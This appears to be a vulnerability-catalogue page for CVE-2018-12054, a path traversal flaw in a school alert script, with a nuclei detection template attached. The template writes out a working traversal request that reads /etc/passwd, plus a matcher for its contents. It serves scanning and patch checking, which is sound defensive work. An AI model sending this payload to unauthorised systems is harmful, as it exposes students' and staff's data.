Browse / CVEs / CVE-2018-12054
CVE-2018-12054· schools alert management script project / schools alert management script· CWE-22
Schools Alert Management Script - Arbitrary File Read
Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.
Impact
This vulnerability can lead to unauthorized access to sensitive information stored on the system, potentially exposing personal data of students, staff, and other stakeholders.
Fix
Apply the latest patch or update provided by the vendor to fix the arbitrary file read vulnerability in the Schools Alert Management Script.
How to confirm it
Send: GET {{BaseURL}}/img.php?f=/./etc/./passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2018-12054 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-12054
info:
name: Schools Alert Management Script - Arbitrary File Read
author: wisnupramoedya
severity: high
description: Schools Alert Management Script is susceptible to an arbitrary file read vulnerability via the f parameter in img.php, aka absolute path traversal.
impact: |
This vulnerability can lead to unauthorized access to sensitive information stored on the system, potentially exposing personal data of students, staff, and other stakeholders.
remediation: |
Apply the latest patch or update provided by the vendor to fix the arbitrary file read vulnerability in the Schools Alert Management Script.
reference:
- https://www.exploit-db.com/exploits/44874
- https://nvd.nist.gov/vuln/detail/CVE-2018-12054
- https://github.com/unh3x/just4cve/issues/4
- https://www.exploit-db.com/exploits/44874/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-12054
cwe-id: CWE-22
epss-score: 0.40114
epss-percentile: 0.98648
cpe: cpe:2.3:a:schools_alert_management_script_project:schools_alert_management_script:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: schools_alert_management_script_project
product: schools_alert_management_script
tags: cve,cve2018,lfi,edb,schools_alert_management_script_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/img.php?f=/./etc/./passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/44874
- https://nvd.nist.gov/vuln/detail/CVE-2018-12054
- https://github.com/unh3x/just4cve/issues/4
- https://www.exploit-db.com/exploits/44874/
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from